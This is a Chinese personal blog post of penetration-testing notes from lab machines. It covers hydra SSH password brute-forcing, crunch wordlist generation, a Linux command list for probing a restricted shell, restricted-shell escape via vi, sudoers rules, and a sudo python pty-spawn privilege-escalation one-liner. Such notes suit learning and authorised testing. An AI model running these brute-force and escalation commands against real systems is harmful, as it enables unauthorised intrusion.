渗透测试个人经验

摘要

渗透测试个人经验

ssh

ssh爆破

ssh爆破使用工具 hydra ,主要因为快速,其他工具速度过慢

使用hydra爆破:

1
hydra -l ezpd -P 1.txt  192.168.229.129 ssh -v
1
2
3
4
5
-l 指定用户名
-L 指定用户名字典文件
-p 指定密码 
-P 指定密码字典文件
-v 显示详细的执行过程

ssh密码生成

ssh密码生成工具 crunch

cat /usr/share/crunch/charset.lst 选择要使用的crunch字典字符集范围

image-20230702213556873

找到合适的字符集,然后使用

1
crunch 8 8 -f /usr/share/crunch/charset.lst lalpha-numeric -t k1ll0r@@ > pass.dic

关于上面命令的疑问 @替代未知字符未知

Linux常用命令

遇到一个被限制的shell,想要整理一个命令清单,后期想办法爆破一下有哪些命令可以使用

主要参考

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
ls                 #	列出目录的内容
alias              #	定义或显示别名
unalias            #	删除别名定义
pwd                #	打印工作目录
cd                 #	更改目录
cat                #	读取文件
more               #	查看一个长文件的内容 
less               #	查看一个长文件的内容 但是它允许在文件中和正向操作一样的反向操作 
head               #	head -2 file1 查看一个文件的前两行 
tail               #	tail -2 file1 查看一个文件的最后两行 
tac                #	从最后一行开始反向查看一个文件的内容 
cp                 #	复制文件和目录
rm                 #	删除文件和目录
mv                 #	移动(重命名)文件和目录
mkdir              #	创建目录
man                #	显示其他命令的手册页面
touch              #	创建空文件
groupadd           #	创建一个新用户组 
groupdel           #	删除一个用户组 
groupmod           #	重命名一个用户组 
useradd            #	创建用户
userdel            #	删除用户
usermod            #	修改用户属性
chage              #	(-E 2005-12-31 user1 设置用户口令的失效期限 )
pwck               #	检查 '/etc/passwd' 的文件格式和语法修正以及存在的用户 
grpck              #	检查 '/etc/passwd' 的文件格式和语法修正以及存在的群组 
newgrp             #	(newgrp group_name 登陆进一个新的群组以改变新创建文件的预设群组 )
chmod              #	更改文件权限
chown              #	更改文件拥有者
chattr             #	文件的特殊属性
lsattr             #	显示文件的特殊属性
sudo               #	以超级用户身份执行命令
su                 #	切换用户
htop               #	显示进程和资源信息
unzip              #	解压zip文件
echo               #	显示文本行
cat                #	打印文件内容
ps                 #	报告shell进程状态
kill               #	终止程序
ping               #	测试网络连接
history            #	显示以前的命令列表
passwd             #	更改用户密码
which              #	返回程序的完整二进制路径
shred              #	覆盖文件以隐藏其内容
grep               #	打印与给定条件匹配行
sort               #	排序文件的内容
comm               #	对比两个文件内容
ifconfig           #	显示网络配置 
netstat            #	端口查看?
nslookup           #	查看DNS解析
whoami             #	输出用户名
whatis             #	显示单行说明
wc                 #	字数文件
paste              #	paste file1 file2 合并两个文件或两栏的内容 
bunzip2            #	解压软件
bzip3              #	同上
bzip2              #	同上
gzip               #	同上
lunzip             #	同上
unzip              #	同上
eb-utils           #	同上
rzip               #	同上
gunzip             #	同上
rar                #	同上
unrar              #	同上
zip                #	同上
unzip              #	同上
uname              #	显示操作系统信息
neofetch           #	显示操作系统和硬件信息
find               #	搜索遵循模式的文件
sed                #	每次仅读取一行内容(读取文件)
ssh                #	ssh远程登录
ftp                #	访问ftp服务器
wget               #	从互联网检索文件
file               #	查看文件类型
export             #	环境变量相关
apt                #	包管理器(下载安装工具)
yum                #	同上
rpm                #	同上
pacman             #	同上
dpkg               #	好像也是同上
arch               #	显示机器的处理器架构
dmidecode          #	推荐参数(-q) 显示硬件系统部件 - (SMBIOS / DMI) 
hdparm             #	(-i) /dev/hda 罗列一个磁盘的架构特性(-tT /dev/sda) 在磁盘上执行测试性读取操作
lspci              #	(-tv)罗列 PCI 设备 (-tv)显示 USB 设备
date               #	显示系统日期
cal                #	(cal 2007) 显示2007年的日历表
clock              #	(-w)将时间修改保存到 BIOS 
tree               #	显示文件和目录由根目录开始的树形结构
ostree             #	操作系统树
pstree             #	进程树
iconv              #	列出已知的编码 
locate             #	文件搜索
whereis            #	文件搜索(显示一个二进制文件、源码或man的位置 )
which              #	文件搜索(显示一个二进制文件或可执行文件的完整路径 )
mount              #	挂载一个文件系统 
umount             #	卸载一个文件系统
fuser              #	当设备繁忙时强制卸载
df                 #	(-h 显示已经挂载的分区列表 )
du                 #	(-sh dir1 估算目录 'dir1' 已经使用的磁盘空间' )
ln                 #	创建一个指向文件或目录的软链接 
1
2
vim                #	高效文本编辑
vi                 #	同上

下面是不要轻易尝试的

1
2
3
4
5
shutdown           #	关闭您的机器
reboot             #	重启
logout             #	注销
telinit            #	关机相关命令
exit               #	退出当前shell会话

OK,发现盲点:本次靶机ssh登录后,无输入直接两次tab键即可查看可用命令

受限shell逃逸

参考文章

顾名思义:受限制的shell,有以下功能受限(可以设置某些选项不受限)

image-20230711144924572

WikiPedia上有提到受限shell的弱点

image-20230711145021594

A user can break out of the restricted environment by running a program that features a shell function 用户可以通过运行具有shell功能的程序来打破限制环境

Linux 自带程序里vi/vim有类似功能,当然如果能够再开一个shell也能达到相同目的

实战靶机里逃逸所用语句:

image-20230711145604014

找不到执行的命令

尝试完整路径执行命令如/bin/whoami

最好还是设置一下环境变量

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

sudoers权限查看

命令的话直接sudo -l查看就OK了

权限管理文件是/etc/sudoers

sudoers文件编辑结构

image-20230711152555129

image-20230711155005851

u002 代表对 u002 用户的权限编辑

第一个 ALL 代表网络中的主机(具体的权限控制,根据初步阅读可以设置为机器组。这些可能包括主机名(可选择使用通配符)、IP地址、网络号码或网络组。

Groups of machines. These may include host names (optionally with wildcards) IP addresses, network numbers or netgroups.

第二个 ALL 规定可以使用谁的身份去执行命令 (目前发现 如果是root的话就可以使用root权限执行命令 )

如果设置了 NOPASSWD 可以免密执行

第三个 ALL 规定可以使用(指定身份)执行的命令

如果是如下权限设置的话,就可以使用 python 一句话提权

sudo python -c 'import pty;pty.spawn("/bin/bash")'

image-20230711155134271

其他配置后可以使用root权限的方式

Dan❤Anan
Built with Hugo
主题 StackJimmy 设计